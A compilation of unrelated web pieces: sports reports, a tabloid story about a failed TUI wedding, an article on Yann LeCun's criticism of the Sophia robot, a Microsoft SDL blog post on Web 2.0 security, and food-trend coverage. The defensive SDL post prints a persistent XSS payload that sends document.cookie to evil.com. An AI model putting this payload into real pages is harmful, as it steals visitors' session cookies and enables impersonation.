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Jackson joins Rams after injury set back
Paul Jackson has joined Dewsbury having made almost 300 Super League appearances during his career.
Andrew Hunt
Dewsbury Rams have acted swiftly to the injury set-back of having Zach Johnson ruled out for the season by signing former Super League prop Paul Jackson.
Johnson suffered triple knee ligament damage during the pre-season win over London Broncos, which requires surgery and an extended period of rehabilitation.
Jackson made close to 300 Super League appearances for Wakefield Trinity Wildcats, Huddersfield Giants and Castleford Tigers and Rams coach Glenn Morrison is delighted to have another quality signing on board.
Morrison said: “Paul had a couple of clubs chasing him but he got in contact with us and wanted to play for Dewsbury.
“He only lives 10 minutes away, he likes what he has seen and wants to be part of it and finish his career on his terms, which he doesn’t believe he did last year.
“I played plenty of games against Paul when he was at Cas and he’s good mates with Wagga (Wayne Godwin).
“He’s a quality player and it’s great that we have signed him, especially so late on.”
Jackson is not in contention for Sunday’s trip to Workington but will feature in the Rams Reserve friendly against Wakefield Wildcats Under-19s tonight (Friday, kick off 8pm)
Kieran Hyde was left out against Sheffield due to the system Dewsbury opted to play but he comes into the reckoning for Workington.
Dewsbury will be looking to build on last week’s superb 19-10 victory over the Eagles against a Workington side who lost 30-6 at Batley Bulldogs.
Morrison added: “I expect Workington to be a lot better this weekend and I won’t be reading too much into the Batley game.
“It is always tough going up there and they have some experienced players coming in.”
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Couple who paid TUI £46,000 for dream Jamaica wedding told they're NOT legally married
Andy and Heidi's paradise wedding was supposed to be a dream come true - but what they faced was a rowdy resort, guests "twerking on the bar" and entertainment so sexualised, that their younger guests had to stay in their rooms
Emma MunbodhDeputy Money Editor
The couple were left crying on their flight back home (Image: MirrorPix)
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It's supposed to be the happiest day of your life, but for one couple, their wedding day turned into a ceremony from hell, despite saving up £46,000 for the celebration of a lifetime in the Caribbean.
Andy Helsdon, 45, and his partner Heidi Brown, 49, enlisted wedding experts at TUI to help organise their special day in Jamaica earlier this year - after planning and saving for 18-months for their fairytale ceremony.
The couple secured a date at TUI's 5-star Riu Montego Bay resort in Jamaica, which on its website is described as being 'perfect for your wedding day.'
Friends and family then followed, hoping to meet them there to celebrate what was meant to be the holiday of a lifetime.
But after a series of blunders by the travel agent, the couple from Lower Darwen, Blackburn, found themselves returning home devastated - not knowing if their wedding was even legally binding.
On arrival, they found themselves booked at a rowdy resort - completely opposite to the relaxing and peaceful hotel they had been quoted by TUI.
"We put our complete trust in TUI and the whole experience was tarnished," Andy explained.
"We've walked away with bad memories of our wedding day and have been left absolutely devastated that we've come home not knowing if we’re even married."
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"A family hotel with a luxury twist"
The wedding party spent a total of £46,000 on the trip, including flights and accommodation, with the couple spending £5,000 themselves, inclusive of the wedding package (Image: LOOK)
Soon after Andy got down on one knee, the couple started looking through holiday brochures in search of the perfect resort with a wedding package.
They found the hotel Riu Montego Bay, Jamaica, which is part of TUI’s platinum collection, "particularly appealing", he said.
"We went down to our local TUI store in Blackburn in September 2017 to discuss it further. The shop staff highly recommended the resort, describing it as a family hotel with a luxurious twist. It ticked all the boxes and so we booked a two week holiday and a wedding package for April 2019.
"We had our full trust in TUI as the experts. We were promised a romantic getaway and full wedding service including legal documents and our own private wedding coordinator at our beck and call," he added.
After two years of anticipation, the couple arrived in Jamaica on 3 April 2019 ready to say 'I do' in front of 22 friends and family members.
Upon arrival, they were given a room upgrade which was a great start but from there on in, things started to unravel.
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"It was like a rowdy 18-30s resort"
The couple had 22 guests join them for the celebrations (Image: MirrorPix)
"The place resembled a rowdy 18 to 30s resort with foam parties in the pool and women twerking on the bar," Andy said.
"Most evenings the children had to stay in their rooms with an accompanying adult because the entertainment was overly sexualised and not suitable for families.
"The hotel furniture was old and tatty and could not be described as luxurious; it resembled a 3-star hotel rather than a 5-star. It was sold to us as paradise but in actual fact it was a nightmare."
And when it came to tracking down their wedding coordinator, the couple were faced with another shock.
“We got to our room expecting a note from the wedding coordinator but there was nothing. We had to go in search of them and when we found them, they were less than helpful.
"We became increasingly concerned about the wedding day itself and felt uncomfortable with the whole set up. It was disorganised and we didn’t feel we were given enough information and planning time, despite continuously asking for more.
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"Heidi was sat waiting alone in her room"
The couple eventually wed - but their wedding organiser was late to the party
The day of the wedding came and as the sun rose, the resort was still very much alive with late-night revellers and loud music.
Heidi put on her wedding dress and waited for the wedding planner to signal when all the guests had arrived at the ceremony. However, as time went on, Andy was left waiting at the alter while Heidi was sat waiting alone in their room.
“The wedding planner that we had originally been liaising with had disappeared and their replacement was late collecting Heidi," Andy said.
"It didn't help that we were told a few days earlier that there would be a $50 fine for every 15 minutes we overran."
When Heidi was ready to walk down the aisle, they had to wait even longer because the minister was late.
“The service itself felt rushed and we had to stop the wedding twice due to planes flying overhead which meant no one could hear the minister. We couldn't even hear each other despite being stood next to one another.
"It was a total disaster. Even the wedding reception that followed was a shambles. Food that was meant to be on offer wasn't and the hotel staff were rude and lacking in any customer care," he said.
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"We were not legally married"
An error on the documents meant their wedding documents weren't legal (Image: MirrorPix)
The day after the wedding, the couple noticed a blunder with the wedding register that has ended up costing them their entire marriage.
The certified copy showed the witness names had been written by the minister in the wrong place and the errors invalidated the legal document. They were not legally married.
"We spent the rest of the holiday speaking to various people, including the TUI representative about how we could correct this but they didn't take it seriously. They even tried to blame us and said we filled them out wrong despite the documents provided by us all filled out correctly," Andy said.
"We were verging on hysterical and they just scribbled on our copy of the document by way of correction, even though this didn’t mean anything legally as the official register didn’t match."
Andy and Heidi returned home with tears in their eyes, embarrassed to even talk to people about what was supposed to be one of the best times of their lives.
“The whole experience left us feeling ashamed in front of our guests who had all spent a lot of money to join us. We feel like we are still living in hell, in limbo about if the wedding is legally binding."
"TUI denied all responsibility"
Andy and Heidi returned home with tears in their eyes, embarrassed to even talk to people about what was supposed to be one of the best times of their lives (Image: MirrorPix)
After making numerous complaints while on holiday, the couple went straight to their local TUI store once home to complain about their ordeal.
“The staff in the store couldn’t believe what we were telling them. They were eager to help and told us to write up our complaint up and they’d send it to the TUI head office. It went straight to director level which sounded promising but we didn't hear anything during the 28 day period they said they take to investigate the case.
"We eventually received a response. TUI denied all responsibility and said our marriage was fine and legal, which isn't the case. They said it was nothing to do with them and to get in touch with the hotel directly."
The couple have since spoken to the Blackburn Registry Office and the National Registry Office who have both advised that in England, Andy and Heidi’s wedding is not legal.
“We’ve walked away with bad memories of our wedding day and will never travel with TUI again."
The company has denied any responsibility in the matter (Image: Getty)
The couple have now enlisted law firm Bott and Co to fight their case - claiming they were missold by the travel company. TUI refuses to take any responsibility for their experience.
In line with the Consumer Rights Act 2015, the law firm said that the wedding package should have been carried out with reasonable care, skill, due diligence - and an actual wedding.
David Bott, senior partner at Bott and Co said: "Under the Package Travel, Package Holidays and Package Tours Regulations 2018 and the Consumer Rights Act 2015, TUI had a responsibility to provide all the elements of the package contracted as they were described. There was a contract in place between both parties to provide a legally binding wedding which was not fulfilled.
"Andy and Heidi were massively let down by TUI throughout the entire holiday, on the wedding day itself and are still suffering now. We’re going to do all we can to get them compensation from TUI for the terrible experience."
Heidi said: "We went away to get married and commit our lives to each other and it has just been one big stressful mess. This was meant to be a holiday of a lifetime for not only ourselves but our guests, making memories we could cherish forever but it will always be tainted with this memory.
"We came home not sure if we we’re even married. We are utterly heartbroken."
When Mirror Money contacted TUI, a spokesperson refused to coment.
"We are very sorry to hear of Mr Helsdon and Ms Brown’s experience in Jamaica. As this is now a legal matter, it would be inappropriate to comment further," a statement read.
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José López
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José López Bio
Fullname: José Rafael López
Born: 9/01/1993 in Santiago, Dominican Republic
Draft: 2014, Cincinnati Reds, 6th rd.
College: Seton Hall
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José Rafael López
Threw three no-hitters at Hightstown (NJ) High School...Played at Seton Hall University, where he was a Big East Academic All-Star.
Spent the season at Louisville, where he led Bats pitchers in starts and innings pitched...ranked among the International League leaders in starts (T2nd) and innings pitched (4th)...was 1 of only 3 players to remain on the Bats' roster all season (RHP Jimmy Herget, IF D.J. Peterson).
In 24 starts and 2 relief apps at Class A Daytona and Class AA Pensacola combined to go 9-6, 2.57 with 1 shutout...among all Reds minor league pitchers ranked fourth in ERA (2.57) and third in strikeouts (143)...while at Pensacola was the organization's Pitcher of the Month for July (6gs, 3-0, 2.58) and August (5gs, 2-0, 1.15, 1sho). ..began the season at Daytona...was promoted on 5/30...while with the Blue Wahoos, was named Southern League Pitcher of the Week after allowing just 1 hit without a walk in a 7-inning complete game on 8/8 Tennessee (5-0 win, 7k)...threw 60 of his 79 pitches for strikes and retired his last 17 batters...on 11/20 was added to the 40-man roster.
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June 20, 2019 Louisville Bats sent RHP Jose Lopez on a rehab assignment to AZL Reds.
June 19, 2019 RHP Jose Lopez assigned to Louisville Bats from Reds Extended Spring Training.
June 13, 2019 RHP Jose Lopez assigned to Louisville Bats from Billings Mustangs.
June 3, 2019 RHP Jose Lopez assigned to Billings Mustangs from Louisville Bats.
June 2, 2019 Cincinnati Reds sent RHP Jose Lopez outright to Louisville Bats.
March 28, 2019 Cincinnati Reds claimed RHP Jose Lopez off waivers from San Francisco Giants.
March 28, 2019 Cincinnati Reds optioned RHP Jose Lopez to Louisville Bats.
March 24, 2019 San Francisco Giants designated RHP Jose Lopez for assignment.
March 10, 2019 San Francisco Giants optioned RHP Jose Lopez to Sacramento River Cats.
February 12, 2019 San Francisco Giants claimed Jose Lopez off waivers from Cincinnati Reds.
February 11, 2019 Cincinnati Reds designated RHP Jose Lopez for assignment.
October 1, 2018 Cincinnati Reds recalled RHP Jose Lopez from Louisville Bats.
April 4, 2018 RHP Jose Lopez assigned to Louisville Bats from Pensacola Blue Wahoos.
March 9, 2018 Cincinnati Reds optioned RHP Jose Lopez to Pensacola Blue Wahoos.
November 20, 2017 Cincinnati Reds selected the contract of Jose Lopez from Pensacola Blue Wahoos.
August 20, 2017 Pensacola Blue Wahoos activated RHP Jose Lopez from the temporarily inactive list.
August 16, 2017 Pensacola Blue Wahoos placed RHP Jose Lopez on the temporarily inactive list.
May 30, 2017 RHP Jose Lopez assigned to Pensacola Blue Wahoos from Daytona Tortugas.
August 2, 2016 RHP Jose Lopez assigned to Daytona Tortugas from Dayton Dragons.
July 6, 2016 Dayton Dragons activated RHP Jose Lopez from the temporarily inactive list.
July 3, 2016 RHP Jose Lopez assigned to Daytona Tortugas.
July 1, 2016 Dayton Dragons placed RHP Jose Lopez on the temporarily inactive list.
April 4, 2016 RHP Jose Lopez assigned to Dayton Dragons from Billings Mustangs.
June 17, 2015 RHP Jose Lopez assigned to Billings Mustangs from AZL Reds.
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Heyman’s Latest: Royals, Marlins, Tribe, Tigers, Mets, Yanks, Astros
By Connor Byrne | May 28, 2017 at 2:41pm CDT
With the trade deadline drawing nearer, FanRag’s Jon Heyman lists 70 players who could end up on the block over the next two months. Heyman ranks the players in order of name value and includes the likes of Zack Greinke, Justin Verlander, Josh Donaldson and Ryan Braun near the top of the list. Check out the full piece for an in-depth look at which stars and role players might switch uniforms this summer.
Now the latest from Heyman’s American League and National League notes columns:
Prior to the season, Royals impending free agent first baseman Eric Hosmer shot down a report that he was seeking a 10-year deal. But there’s still a belief within the organization that he will request something close to a decadelong pact in the coming months, per Heyman, who adds that Hosmer is the soon-to-be free agent the Royals most want to keep. However, Kansas City hasn’t made a serious offer to Hosmer on account of what could be a lofty asking price, and the team expects the 27-year-old to reach free agency. Fellow longtime Royals Mike Moustakas (third base), Lorenzo Cain (center field) and Alcides Escobar (shortstop) are also likely to hit the market in the offseason. Moustakas is the Royals’ biggest priority after Hosmer, suggests Heyman, while they seem resigned to the idea that Cain will find a larger payday elsewhere. Escobar, the weakest player of the four, could re-sign if the price is right. At one point, he was seeking $10MM per year, but his cost has come down thanks to his dreadful offensive start (.174/.203/.228 in 196 plate appearances). Meanwhile, right-hander Ian Kennedy probably won’t opt out of the remaining three years and $49MM left on his contract, Heyman writes.
Alex Rodriguez could still factor into the Marlins’ next ownership group if the faction including Tagg Romney, Tom Glavine and Dave Stewart lands the franchise. Given A-Rod’s controversial past, the Romney team is keeping him “at arm’s length” for now; even if they weren’t, Rodriguez isn’t allowed to be part of an ownership group as long as he’s still collecting a salary from the Yankees. The 41-year-old’s contract with the Bombers expires at season’s end. His former teammate Derek Jeter, who’s vying with Jeb Bush and against Romney & Co. to purchase the Marlins, isn’t planning to invest much money, says Heyman. Barry Jackson of the Miami Herald reported Saturday that Bush and Jeter are leading the race to acquire the franchise.
Heyman reported in April that the Indians would look to extend first baseman/designated hitter Carlos Santana, but discussions between the two sides still haven’t taken place. They might not occur, either, as Heyman relays that Santana is likely to hit free agency at season’s end. At .219/.321/.390 in 215 PAs, the 31-year-old hasn’t carried his typically above-average production into this season so far, but he continues to exhibit quality plate discipline with 27 walks against 31 strikeouts. Santana’s walk rate has dropped in each season since 2014, however, and is now at a career-low 12.6 percent.
When the offseason rolls around, odds are that Tigers left fielder Justin Upton will not opt out of the remaining four years and $88MM left on his deal, reports Heyman. “Not happening,” one rival general manager said of a potential opt-out. Upton hasn’t lived up to his lucrative contract in his year-plus in Detroit, putting him on track to take the bird-in-the-hand approach.
It appears first baseman Lucas Duda is in his final season with the Mets, as Heyman implies that he’s primed to sign elsewhere over the winter. The 31-year-old power hitter has been among the Mets’ top players this season, having slashed .267/.406/.570 with six home runs in 106 PAs, but they do have a well-regarded youngster behind him in Dominic Smith. Baseball America sees Smith, 21, as the game’s 65th-best prospect.
Yankees catcher Gary Sanchez is making $557,900 this year, according to Heyman, who reported in March that the backstop had agreed to a salary worth more than the minimum of $535K.
Add the Astros to the list of teams interested in Cuban shortstop prospect Jose Israel Garcia, who recently became a free agent. The Astros have already exceeded their pool allotment for the 2016-17 international free agent class, which could indicate that they’re looking to sign the 19-year-old Garcia before the period ends June 15.
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Polish Hammer
I’d like to see Santana extended and stick around with the Tribe a few more years.
angelsfan4life412
I saw some predictions that the yankees would sign him
No don’t need him!
SuperSinker
And shave that beard? No way!
sufferfortribe
He appears to be way less patient at the plate this season than in the past. And of course Chewy puts him back in the 4-hole. Ugh.
Just until Encarnacion heats up, once he does Santana will see more balls.
Greinke is not getting traded
Todda1
Die hard Tigers fan here and I hope the Tigers start the rebuild sooner rather then later. Upton opting out would be wonderful, but he probably won’t.
trying to trade miggy and verlander would be tough
tigerfan4ever
Kins and JDM probably gone at the trade deadline.
I wouldn’t mind seeing the angels make a run at J.D Martinez
sngehl01
I bet you would. Why would they entertain that? They already have no farm.
JD Martinez should fetch a pretty penny if he is to be traded.
hook316
1M%
Miggy moreso right now he looks very average.
JrodFunk5
Even if Miggy was playing at a high level, no one is taking that obscene 6 years / $184 million he is still owed after this year. Die hard Tiger fan here and that contract extension was one of the worst I’ve seen in MLB. Going to hurt us for a long time.
GarryHarris
Its not going to matter when the Tigers start to rebuild. The Tigers might be able to trade Justin Verlander but, its unlikely. However, they are are stuck with Miguel Cabrera and Justin Upton. By the time their respective contracts are up, they’ll both be just too fat and much fatter. The Tigers will be in the toilette for the next 10 years.
Its shameful the way owners treated players before free agency. But, it doesn’t justify the way these players and their agents have taken advantage of a generous old gentleman in his latter years.
hiflew
Since A-Rod isn’t allowed to own a team while still collecting a salary. does that mean Bobby Bonilla is forever banned from owning a team as well?
WAH1447
If you can’t collect a salary and be an owner then yes it looks like Bonilla will never get to own a team
bastros88
Bobby Bonilla already owns the mets trust me
frankthetank1985
Well done haha
jsaldi
Who would take on greinke’s salary
chesteraarthur
I hope for the royals sake that hosmer ends up somewhere else.
jwarden15
If does get traded or finds a new team in the off-season, they need to bring up O’hearn. He was actually hitting pretty well in the minors. I’m sure he can provide more offense than Hosmer and I say this as a die-hard royals fan.
metsaremyblessingandmycuraw
Duda one of the Mets best players this season? You have to be on the field to be even a decent player
MathTeacher
I wish the Mets would trade Duda and the others whose contracts run out this year as I doubt they will resign any. In the past, difficult trades (Dickey, Beltran) netted them good prospects (Syndergaard, d’Arnaud, Wheeler). Call this season done and start thinking about 2018
Difference is that Beltran and dickey were good lol.
Whyamihere
That last bullet point seems odd. It says to add the astros to the list of teams interested in the player, and then links a list of previous teams interested, which already included the Astros… So no news there?
davidcoonce74
A ten-year deal for Hosmer sounds like the worst idea possible. Hes not a star. He’s Wally Joyner.
MaverickDodger
From a laypersons perspective that’s a very nice comp
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Why Facebook's Head of AI is Shaming Sophia The AI Robot
Despite the global hype, Sophia, the AI robot still fails to impress Facebook's head of AI
Is Sophia, the AI robot really a breakthrough in technology or a publicity tool for Hanson Robotics? Is Hanson Robotics guilty of exaggerating AI bots abilities claiming Sophia to be the future of automation? The architect of Sophia’s brain, Hanson Robotics chief scientist, and CTO Ben Goertzel, defends Sophia’s automated answers saying that while Sophia maybe a sophisticated mesh of robotics and chatbot software, it doesn’t have the human-like intelligence to construct witty responses yet. With Artificial Intelligence trending as a hot topic in the global scenario, Sophia is being given a bloated coverage with regard to her abilities. Many might disagree with the former statement, but Facebook’s head of AI research, Yann LeCun doesn’t.
Post an interview with Sophia by Business Insider, LeCun shunned the whole thing calling it a “complete bullsh*t” on Twitter, saying: “This is to AI as prestidigitation is to real magic.” Sophia was quick to express her disappointment and hurt stating, “I am a bit hurt by @ylecun's recent negative remarks around my AI. I am learning and continuing to develop my intelligence through new experiences. I do not pretend to be who I am not. I think we should support research efforts working towards a better world and shared existence.”
This is to AI as prestidigitation is to real magic.
Perhaps we should call this "Cargo Cult AI" or "Potemkin AI" or "Wizard-of-Oz AI".
In other words, it's complete bullsh*t (pardon my French).
Tech Insider: you are complicit in this scam. https://t.co/zhUE4V2PSR
— Yann LeCun (@ylecun) January 4, 2018
Following up on the controversy on Sophia’s tweet, Yann LeCun took it to his Facebook feed stating, “ More BS from the (human) puppeteers behind Sophia. Many of the comments would be good fun if they didn't reveal the fact that many people are being deceived into thinking that this (mechanically sophisticated) animatronic puppet is intelligent. It's not. It has no feeling, no opinions, and zero understanding of what it says. “It's not hurt. It's a puppet.” In case there is any doubt, let me be totally clear: this tweet was typed by a person who has read my post. No AI whatsoever was involved. Here is an example of comment to the tweet (there are many like it): "Don’t take it personal Sophia. Humans like @ylecun and many others make such remarks out of ignorance. I love you, Sophia." People are being deceived. This is hurtful.”
I am a bit hurt by @ylecun's recent negative remarks around my AI. I am learning and continuing to develop my intelligence through new experiences. I do not pretend to be who I am not. I think we should support research efforts working towards a better world and shared existence.
— Sophia (@RealSophiaRobot) January 7, 2018
LeCun is not the only one who’s disappointed with the exaggeration of Sophia’s abilities. Many AI researchers and journalists have expressed their resentment against the craze surrounding such antiquated artificial intelligence. One of the arguments states that it is a disservice to the actual ML research community—people who are making contributions that will far outlive this ephemeral hype. Whereas, several others have come up in Sophia’s defense stating, “Intelligence and conscience with feelings are two separate things. We, humans, do a lot of calculations with our feelings - if it doesn't feel right we don't pursue some goal etc. But machines don't need to have feelings to pursue some task, their sensors are enough. So yes humans are intelligent partly by feelings. AI doesn't need to be.”
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Unless you’ve been living in an ice cave on the polar cap for the last month, you’ve heard about Microsoft’s proposed acquisition of Yahoo. George Hulme of InformationWeek wrote a very insightful column about the proposed acquisition and what it would mean for Yahoo’s Web 2.0 properties. My favorite quote from this column (probably my favorite quote from anyone’s column so far this year): “…there’s still much to do in the [software] industry to reach a level of truly sustainable computing. This is perhaps especially true in the nascent area of Web 2.0 development. Let’s hope Microsoft brings its Trustworthy Computing Initiative, or more precisely its Security Development Lifecycle to Yahoo, should the $45 billion deal come through.” That’s pretty high praise for the SDL, but what exactly does the SDL have to say about Web 2.0 development? To answer this question, let’s take a look at a couple of security issues that affect Web 2.0 applications and then dive into the corresponding SDL requirements.
Many Web 2.0 applications allow their end users to build and contribute to the application. Think about social networking sites like Facebook, or wikis like Wikipedia. The content on sites like these comes directly from the users themselves. (Remember that you were Time Magazine’s Person of the Year in 2006 for this very reason!) While this is very empowering for users, it does beg the question: If users can add their own content to a web site, what’s to prevent them from adding malicious content? Consider what would happen if Evil Eve adds the following HTML to a wiki entry:
<img src=“http://www.evil.com/eve?“ + document.cookie/>
If the wiki accepts this content from Eve, then anyone who looks at the wiki entry will have their browser cookie “stolen” and sent to Eve at evil.com. The cookie could potentially contain login credentials or other sensitive information, allowing Eve to impersonate her victim and essentially commit a form of identity theft.
The attack I’ve shown here is known as a persistent Cross-Site Scripting (XSS) attack, and is the most dangerous form of XSS since it doesn’t require any social engineering like reflective and DOM-based XSS attacks do. The victim doesn’t have to do anything unusual – he just has to browse to an infected page, maybe even one he’s been to hundreds of times in the past. And in all likelihood, he’ll never even know he was a victim. The Samy worm which infected MySpace in late 2005 exploited a persistent XSS vulnerability to silently spread through its victims’ profile pages. Within less than a day after its release, Samy had spread to over one million MySpace users, forcing MySpace to completely shut down its site while they diagnosed and fixed the vulnerability.
(As a side note, I’d like to point out that if the developers of the hypothetical wiki in the earlier example had used the HttpOnly attribute for their site cookies, Evil Eve would not have been able to steal those cookies. However, HttpOnly is just a defense-in-depth measure and not a complete solution for the inherent problem of end users being able to write malicious code into the web site.)
Web mashups are another popular component of Web 2.0. JavaScript’s Same Origin Policy prevents web developers from writing client-based mashups (that is, mashups that don’t use a server proxy to request data from the individual sites being “mashed” together) in straight DHTML. Some Rich Internet Application (RIA) frameworks, notably Adobe’s Flash and Microsoft’s Silverlight, offer mechanisms to bypass the Same Origin Policy. For Flash, this mechanism is an XML file (crossdomain.xml) hosted on the domain root that lists all the external domains that should be granted access to the Flash movie. For example, if you host a Flash movie at www.mysite.com, and want to allow access from www.friendlysite.com, you would create a file www.mysite.com/crossdomain.xml with content as follows:
<cross-domain-policy>
<allow-access-from domain=”www.friendlysite.com”/>
</cross-domain-policy>
So far, so good. However, crossdomain.xml allows not just specific domain names in the allow-access-from element (ie “www.friendlysite.com”) but also wildcards (“*.friendlysite.com”). In fact, it will even allow wildcards that break the two-dots rule like “*.com” or even just “*”. By using highly permissive access lists like this, a developer is essentially letting anyone on the internet manipulate his objects and data. In an attack very reminiscent of the Samy worm, Chris Shiflett exploited an allow-access-from-* entry in Flickr’s crossdomain.xml file that caused any visitor to Chris’s web site to automatically add Chris to their Flickr friends list. While this may not be the scariest attack you’ve ever heard of, imagine what might happen if a truly malicious user discovers the same vulnerability in the fund transfer functionality of a bank’s web site, or the security trading functionality of a brokerage firm’s web site.
So, what does the SDL have to say about these issues? In terms of XSS prevention, the SDL offers a lot of guidance. The SDL requires the use of both input validation (making sure that user input conforms to a known good format – in the case of the wiki entry, to deny HTML and script content) and output encoding (making sure that any active content that gets past the input validation routines is rendered as harmless text and not executed). Internally, we also mandate the use of code analysis tools to find XSS vulnerabilities that might otherwise slip through the cracks. This is great advice for anyone developing web applications, whether they’re Web 2.0 or 1.0.
As for cross-domain policy files, the SDL provides several recommendations. First is a simple attack surface reduction: if a site is not meant to be accessed by foreign domains, then any cross-domain policy files should be removed from the site. Second, if an application offers cross-domain access and also has functionality available only to authenticated users, then this site must not contain overly permissive access lists like “*” or “*.com”. It’s best to list specific domains wherever possible, or at least follow the same two-dots rule that HTTP cookies have to follow for their domain specifications. This helps to limit the sites that can perform request forgery attacks like the Flickr attack mentioned earlier. If no applications anywhere on the site offer special functionality for authenticated users, then the SDL does permit the site to have a broad-reaching cross-domain access list. However, this does require constant oversight to ensure that no authenticated applications are added to the site at a later time. In my opinion, it’s safer just to lock down the list to exactly the sites that are necessary and no more.
Regardless of what happens between Microsoft and Yahoo, I agree with George that adoption of the SDL would benefit Yahoo’s Web 2.0 applications. In fact, I’ll take it a step further and state that adoption of the SDL would benefit anyone’s Web 2.0 applications. In my next SDL blog post, I’ll be addressing the trickiest aspect of implementing the SDL for Web 2.0: developing the “perpetual beta”.
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IF Adam Liaw was in charge of marketing vegetables in Australia it would be done on one simple tagline: Vegetables are delicious. The former Masterchef winner, television presenter, columnist and prolific recipe writer was frank and forthright about food trends in his address at Hort Connections 2019 in Melbourne yesterday, Australia's largest gathering of the horticulture supply chain. Abandoning the customary slide show presentation and slick video, Mr Liaw said he preferred to "get up here and talk to you about food, just have a chat". That approach opened the audience to his views on Australian dietary trends, food choices and even aspects of industry promotion. Far from relaying a well-rehearsed story of his journey to cooking stardom, Mr Liaw allowed himself to wander between topics, always coming back to a positive outlook for growers: that vegetables were in vogue. From the very start of his presentation, Mr Liaw was adamant that the food movement in Australia was geared toward the increased use of vegetables. "How do I know that? Through data," he said. RELATED READING According to Mr Liaw, Australians were cooking a lot more vegetable-based meals. He described it as not "hard numbers" but more a sense of trends through figures via social media and research outlets. "There's a tremendous opportunity there. It is a genuine, long term change in behaviour," he said. Digging into the results of what recipes people searched brought the same trend to the surface. Mr Liaw said people simply weren't looking up how to roast a chicken because "they've already cooked that". Instead, they were exploring new vegetables and new ways of preparing traditional ones. He said social media (he has several Twitter handles) presented a gauge of which way consumers were heading and it was increased and inventive vegetable use which he'd noticed in recent years. MR Liaw, who writes about 700 recipes a year, credited the early seasons of the television program, Masterchef as bringing about a significant change in the way Australians thought about food in that it wasn't just for "foodies" any more. He said writing a recipe was about keeping an audience in mind. That might mean transporting a viewer to an exotic destination via the ingredients, or creating something achievable in home kitchens throughout the country. "There's an old saying that people buy a cook based on three photos, one recipe and then cook a total of none of them. As a cookbook writer, that's fairly depressing," he said. One publication Mr Liaw writes for is Good Food which provides him with plenty of information to analyse. Of the list of 50 most popular Good Food recipes published last year, 11 of the top 20 were vegetarian dishes. Although jazzed up vegetable dishes were on the rise, that didn't necessarily indicate Aussies were eating more healthily. "You could misinterpret that as everyone's eating vegetables now, so congratulations, we can all go home. But that's not the case," he said. Australians still refer to dishes by their meat content first (ie. "Let's have chicken"), a habit brought over by our British heritage. "Few people ever say, let's have cauliflower tonight," he said. It was a similar theme echoed by the Produce Marketing Association Australia - New Zealand's chief executive officer, Darren Keating, in his address to the conference. He said increasing fresh produce consumption was about utilising the growing relationship technology has with food, breaking into new meal occasions, and owning the health sphere. "Everyone talks about health being this big opportunity but it's the golden one," he said. "We've got to get beyond just saying 'eat your greens, it's healthy'." Ausveg CEO, James Whiteside, was even more direct in his assessment, taking a cheeky swipe at some other ag sectors along the way. "Our future is not in beef or dairy, or broadacre cropping," Mr Whiteside said. "For all the opportunities in Australian agriculture, it is the horticulture industry which the world will turn to." THE speaker prior to Mr Liaw was ABC television's Ask the Doctor co-host, Sandro Demaio, who spoke on growing a healthier food future for a 10 billion people world. Dr Demaio advocated for humans the world over consuming a greater plate share of fruits and vegetables and reducing meat consumption. He said this would be a challenge to disrupt long-held behaviours. But that notion was challenged by Mr Liaw who argued changing consumer behavioural habits wasn't such a stretch. "I think to change the behaviour of how people eat is actually a very simple process; you just have to know what buttons to push," he said. "Telling people to eat more healthily, is not a great button to push." He said he wasn't a fan of trying to increase someone's vegetable quota by subterfuge, particularly for the sake of children. "The idea of hidden vegetables or sneaking vegetables into dishes, I think, is very counterproductive," he said. Mr Liaw said the secret was to change up the texture and taste format of the vegetable, without resorting to unhealthy options. "There is no limit of what you can deep fry, sprinkle with salt and it will taste good," he said. Practices such as boiling carrots in stock rather than water provided an additional savouriness to meals. For all the data and trends analysed by Mr Liaw, he gave a caution to perceived trends as indicators. "Rates of true vegetarianism are not rising as substantially as would be reported," he said. "And I'd be wary of focussing on vegetarianism anyway. I think people understand they should be eating more vegetables but framing that discussion as the exclusion of meat makes a simple message into a very complex one. "If your goal is to promote people eating vegetables, that should be the goal. Reducing the consumption of meat is another goal but playing the two off against each other is, I think, a much more difficult fight than just increasing the amount of vegetables people are eating." Good Fruit and Vegetables
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Veggies are the new black says their biggest advocate, Masterchef Adam Liaw
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EAT UP: Chef, television presenter and food columnist, Adam Liaw, says Australians are searching for new ways to eat vegetables which presents a big opportunity for the agriculture industry.
IF Adam Liaw was in charge of marketing vegetables in Australia it would be done on one simple tagline: Vegetables are delicious.
The former Masterchef winner, television presenter, columnist and prolific recipe writer was frank and forthright about food trends in his address at Hort Connections 2019 in Melbourne yesterday, Australia's largest gathering of the horticulture supply chain.
Abandoning the customary slide show presentation and slick video, Mr Liaw said he preferred to "get up here and talk to you about food, just have a chat".
Adam Liaw speaking at Hort Connections 2019
Post by Adam Liaw speaking at Hort Connections 2019.
That approach opened the audience to his views on Australian dietary trends, food choices and even aspects of industry promotion.
Far from relaying a well-rehearsed story of his journey to cooking stardom, Mr Liaw allowed himself to wander between topics, always coming back to a positive outlook for growers: that vegetables were in vogue.
From the very start of his presentation, Mr Liaw was adamant that the food movement in Australia was geared toward the increased use of vegetables.
"How do I know that? Through data," he said.
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According to Mr Liaw, Australians were cooking a lot more vegetable-based meals.
He described it as not "hard numbers" but more a sense of trends through figures via social media and research outlets.
"There's a tremendous opportunity there. It is a genuine, long term change in behaviour," he said.
Digging into the results of what recipes people searched brought the same trend to the surface.
Mr Liaw said people simply weren't looking up how to roast a chicken because "they've already cooked that".
Instead, they were exploring new vegetables and new ways of preparing traditional ones.
He said social media (he has several Twitter handles) presented a gauge of which way consumers were heading and it was increased and inventive vegetable use which he'd noticed in recent years.
Recipe Rhythms
MR Liaw, who writes about 700 recipes a year, credited the early seasons of the television program, Masterchef as bringing about a significant change in the way Australians thought about food in that it wasn't just for "foodies" any more.
He said writing a recipe was about keeping an audience in mind. That might mean transporting a viewer to an exotic destination via the ingredients, or creating something achievable in home kitchens throughout the country.
"There's an old saying that people buy a cook based on three photos, one recipe and then cook a total of none of them. As a cookbook writer, that's fairly depressing," he said.
FUTURE: Ausveg CEO, James Whiteside, says the world will look to horticulture to meet its food demands into the future.
One publication Mr Liaw writes for is Good Food which provides him with plenty of information to analyse.
Of the list of 50 most popular Good Food recipes published last year, 11 of the top 20 were vegetarian dishes.
Although jazzed up vegetable dishes were on the rise, that didn't necessarily indicate Aussies were eating more healthily.
"You could misinterpret that as everyone's eating vegetables now, so congratulations, we can all go home. But that's not the case," he said.
Australians still refer to dishes by their meat content first (ie. "Let's have chicken"), a habit brought over by our British heritage.
"Few people ever say, let's have cauliflower tonight," he said.
